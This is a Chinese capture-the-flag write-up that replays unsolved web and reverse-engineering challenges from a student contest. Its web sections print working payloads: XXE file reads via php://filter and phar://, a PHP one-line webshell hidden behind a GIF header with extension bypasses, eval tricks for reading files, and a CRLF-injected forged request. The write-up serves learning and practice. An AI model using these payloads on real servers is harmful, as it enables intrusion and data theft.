第十屆極客大挑戰——復現未解決的web和RE
emmmm,有些題目是沒做出來的,有機會復現,還有官方wp,所以看看,再記錄一下
web - 性感黃阿姨,在線聊天
這道題我是真的服了,爆破name,,,,,頭皮發麻,,,,說到底,菜
打開題目,隨便輸入,直接抓包,得到提示:要不你直接問問我flag吧
修改request爲flag,然後會得到新提示,說只是guest,修改爲admin再次得到新的提示:
接下來就是爆破name了,,,,,,打死我都沒想到,,,
爆破得到文件名:
然後可以看見Content-Type是application/json,題目還有提示是xxe,
修改爲Content-Type: application/xml,然後進行嘗試,與之前的結果一樣:
不過會發現357在這裏不起作用了,,,,,因爲json是可以傳遞數字和字符串的
區別就是兩側有⽆引號,⽽xml只能傳遞字符串且"357asd"是不等於"357"的
而且是有個回顯點的,就是name,之前測出來了,然後直接構造xxe去讀取文件:
成功了,直接讀取php文件可能會出現錯誤,因爲php⽂件中有一些特殊字符讓xml解析時出錯
所以可以利⽤php流讀取文件:
最後進行base64解密成功拿到flag:
web - Eval evil code
emmm,這道題沒怎麼做,啊哈哈哈哈,爆破MD5之後隨便玩了一下就沒玩了:
首先要爆破驗證碼,編寫腳本:
import requests
import base64
import sys
import hashlib
def getMd5(index):
for i in range(10000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:4] == index:
return x;
print(getMd5("7dac"))
得到驗證碼:
然後我輸入phpinfo()得到的卻是這個:給你偷偷看我的代碼,eval(); 但是我不接受有參數的代碼哦,例如這種:a(‘123’);
之後我就沒有做了,,,,phpinfo()有參數嗎?服了,,,,後面才知道加上分號,,,,我怎麼這麼菜???
構造可以去讀目錄的payload:payload=var_dump(scandir(getcwd()));
:
然後利用next()和array_reverse()加readfile()三個函數進行讀取,最後得到flag
payload:payload=readfile(next(array_reverse(scandir(getcwd()))));
:
除此之外竟然還有一種操作,,,,
在httpheader頭中注入惡意參數,再利用getallheaders函數獲得參數,又學到一招:
web - 服務端檢測系統
打開題目的可以看見頁面,只能傳入以http://開頭的參數,f12查看源代碼可以看見源碼:
直接訪問admin.php無法訪問,,,,,
直接抓包進行訪問查看,,,,,到後面就不知道該怎麼操作了,,,看了wp才知道
在echo sprintf("body length of $method%d", $body);
處存在參數可控!!
比如說直接傳入%s%就會把%d給轉義掉,然後就會輸出URL中文件的內容,,,,
直接上效果圖吧,在Render中查看比較明顯:
發現需要我們POST傳遞一個值爲yes的iwantflag參數,纔會顯示flag,,,,
emmmm,該如何操作呢????原來要利用CRLF注入漏洞,,,,
說實話我第一次聽說CRLF注入漏洞,,,這裏就簡單介紹一下:
所謂crlf就是:“carriage return/line feed”,就是回車和換行的意思 在HTTP協議中,HTTP Header 與 HTTP Body 是用兩個CRLF分隔的 瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來 一旦我們能夠控制HTTP消息頭中的字符,注入一些惡意的換行 這樣我們就能注入一些會話 Cookie 或者 HTML 代碼,
在這裏用到file_get_context_create()函數來發起HTTP請求
一些配置選項包括這裏的請求方式是作爲一個數組經過stream_context_create()處理後傳入的
而使用stream_context_create()是可以模擬POST/GET請求的方法的
那麼這裏就存在CRLF注入漏洞,即我們可以完全自己模擬一個完整的POST包發出去:
url=http%3A%2F%2F127.0.0.1/amdin.php&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
當我們提交該數據之後,file_get_context_create()最終發出的HTTP請求是:
POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
Host: 39.107.111.145:6666
注意的是,iwantflag=yes%26b=%s%
中的%26
是&
符號URL編碼之後的樣子
不進行URL編碼的話,就會被當做當前請求包的參數分割符,達不到預期的效果
還有關於這裏多傳遞一個參數的問題,因爲最終的請求包後面是會被拼接上原本正常的HTTP請求包中的內容的
所以是爲了防止干擾iwantflag變量,
由於我們是要得到返回的數據的,所以最後依然是%s%
這樣之後我們就能夠的到flag了,,,,,
復現完這道題目,還是有一點迷迷糊糊的,,,,,
web - 你有特洛伊麼
emmmm,這道題我看題目說不簡單就沒看了,,主要那幾天也有事,,,
掃了一眼wp,感覺不難,打開頁面可以看見是一個上傳的題目,,,,:
先直接構造一個圖片馬:
GIF89
<?php @eval($_POST['cmd']);?>
先改後綴名爲gif,然後進行抓包進行嘗試修改爲php,發現不行:
進行其他嘗試,,,,php2, php3, php4, php5, phps, pht, phtm, phtml這些別名都可以嘗試
嘗試到phps發現可以!!不過出現新的提示,不能存在<?:
修改內容爲:
GIF89a
<script language="php">@eval($_POST['cmd'])</script>
然而,進行訪問的時候發現是forbidden,,,,:
可能是別名存在問題,,,最後發現phtml也行,改爲phtml後綴:
蟻劍進行連接,找到flag:
web - 你讀懂瀟文清的網站了嗎
這道題也沒怎麼看,,好像是xxe加phar,題目已經有提示了,xxe:
嘗試利用xxe讀取文件的源碼,成功獲取到index.php源碼:
index.php內容
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");
if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
echo "no!!!you cant read flag right here!";
exit();
}
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
print($xml);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link href="./style_log.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="./style.css">
<link rel="stylesheet" type="text/css" href="./userpanel.css">
</head>
<body class="login" mycollectionplug="bind">
<div class="login_m">
<div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
<div class="login_boder">
<div class="login_padding" id="login_model">
<div style="text-align:center; vertical-align:middel;">
<h3>告訴我你想說的</h3>
</div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">
發現還有config.php,直接讀取:
<?php
class File{
public $filetype;
public $filename;
public function __wakeup(){
echo "wake up ";
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
}
public function check($filetype,$filename){
$filename = $filename;
$filetype = $filetype;
if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允許上傳jpg格式文件";
exit();
}
}
public function upload($filetemp){
$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
$handle = fopen($filetemp, "r");
$content = '';
while(!feof($handle)){
$content .= fread($handle, 8080);
}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
echo "Invalid file!!!!";
exit();
}
fclose($handle);
if (move_uploaded_file($filetemp, $target_file)) {
echo "your file is here:".$target_file;
}
}
}
看見__wakeup中有讀取flag的函數,不過還沒看見調用該類的地方,,
看見下面有個uploads,懷疑有個上傳的頁面,嘗試看一下upload.php,果然有,讀取內容:
<!DOCTYPE html>
<html>
<head>
<title>Ayrain</title>
</head>
<body>
<h3>上傳一個文件,讓我康康你這是什麼亂七八糟的東西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<input type="file" name="file" />
<input type="submit" name="Check" />
</form>
</body>
</html>
<?php
error_reporting(0);
include("config.php");
$filename = $_FILES["file"]["name"];
$filetype = $_FILES["file"]["type"];
$filetemp = $_FILES["file"]["tmp_name"];
$file = new File();
$file->check($filetype,$filename);
$file->upload($filetemp);
?>
利用上傳點,上傳可以觸發__wakeup的phar文件,結合之前的xxe,讀取phar文件進行觸發
生成phar文件:
<?php
class File{
public function __wakeup(){
echo "wake up ";
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
然後改後綴爲jpg,上傳成功之後會返回一個路徑
然後再通過xxe去進行觸發:
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY f SYSTEM "phar://./uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> ]>
<name>&f;</name>
成功獲取到flag:
RE - 閱兵你認真看了嘛?
emmmm,說實話這道題目我也剛過,但是本人太菜了,沒看出來,,,,
首先我們可以看見:
有兩次驗證!!運行程序也可以看見,第一層是五個問題,回答正確可以進入到下一步
可以把MD5那一串字符解密就能得到正確答案:
過了第一個check,然後會進入到一個函數sub_DEB(),會讓我們輸入54位1-9之間的字符串,
並且還有校驗每個字符是否在1-9之間,之後會把我們輸入的數填到unk_2020C4中值爲0的位置上
然後通過函數sub_BC7()檢查一下dword_2020A0內容,,,,,
進入輸出flag的函數查看了一下,逆不出來,,,,
當時做的時候一直在輸出flag函數裏面看,,,一直逆出不來,,,(直接放棄)思路不正確就是這樣,,,
進入sub_BC7查看:
發現有三個函數,a1就是dword_2020A0,查看了一下dword_2020A0的值,發現有81個值,,,
剛剛好有54個0,,,,到這裏就應該能猜出來這是個數獨了,,,,繼續往下走,,,
dword_2020A0的值:
120543000
030098000
000060005
300004000
007050800
000600009
500070000
000420010
000981023
查看一下三個函數,得以發現sub_97A是檢查每個九宮格的,sub_A60檢查列,sub_B15檢查橫
合格之後纔會返回true,所以我們就只需要解出這個數獨,然後輸入就能得到flag
隨便找個在線工具解一下:
得到字符串:
679845716297812345981276642931281374512369848935677645
正確回答兩次問題,得到flag:
做的時候還是沒有耐心,而且不會變通,一條路走到黑,,,,,
RE - python1
下載是一個pyc文件,反編譯之後的到源碼:
import struct
import time
def b(a):
return a & 0xFFFFFFFFFFFFFFFFL
def c(str):
return struct.unpack('<Q', str)[0]
def d(a):
for i in range(64):
a = a * 2
if a > 0xFFFFFFFFFFFFFFFFL:
a = b(a)
a = b(a ^ 0xB0004B7679FA26B3L)
continue
return a
if __name__ == '__main__':
cmp_data = [
0x6E8DD76D3B876F95L,
0xE206DA09DAF4BED6L,
0x77559D346E134BF1L,
0x61CE39CAC5EAF891L,
0x656C3C155520E36FL]
input = raw_input('plz input your flag:')
if len(input) % 8 != 0:
for i in range(8 - len(input) % 8):
input += '\x00'
arr = []
for i in range(len(input) / 8):
value = d(c(input[i * 8:i * 8 + 8]))
arr.append(value)
for i in range(5):
if arr[i] != cmp_data[i]:
print 'fail'
time.sleep(5)
exit()
continue
print 'success'
time.sleep(5)
exit()
邏輯很好理解,而且還給出了比較的字符串,那我們可以逆推,,
關鍵在於對d函數的逆向,會有64次乘⼆,每次乘2後還會進⾏判斷
如果⼤於0xffffffffffffffff,會&0xffffffffffffffff再^ 0xB0004B7679FA26B3,,,,
⼊⼿點是奇偶,能看出來的話這道題就簡單了
每次乘⼆後這⼀次循環得到的是偶數,每次&0xffffffffffffffff再^ 0xB0004B7679FA26B3得到的都是奇數
那麼進⾏64次循環除以⼆時候,先進⾏判斷,如果是偶數就直接除以⼆,
如果是奇數就先^ 0xB0004B7679FA26B3,再+0xffffffffffffffff+1,再除以⼆
python2的解題腳本:
# -*- coding:utf-8 -*-
import struct
cmp_data = [7966260180038414229L, 16286944838295011030L,8598951912044448753L, 7047634009948092561L, 7308282357635670895L]
def Dec(f):
for i in range(0,64):
if(f % 2 == 0):
f /= 2
else:
f ^= 0xB0004B7679FA26B3
f = f + 0xffffffffffffffff + 1
f /= 2
return f
flag = ""
for i in range(0,5):
flag += struct.pack(">Q",Dec(cmp_data[i]))[::-1]
print flag
得到flag: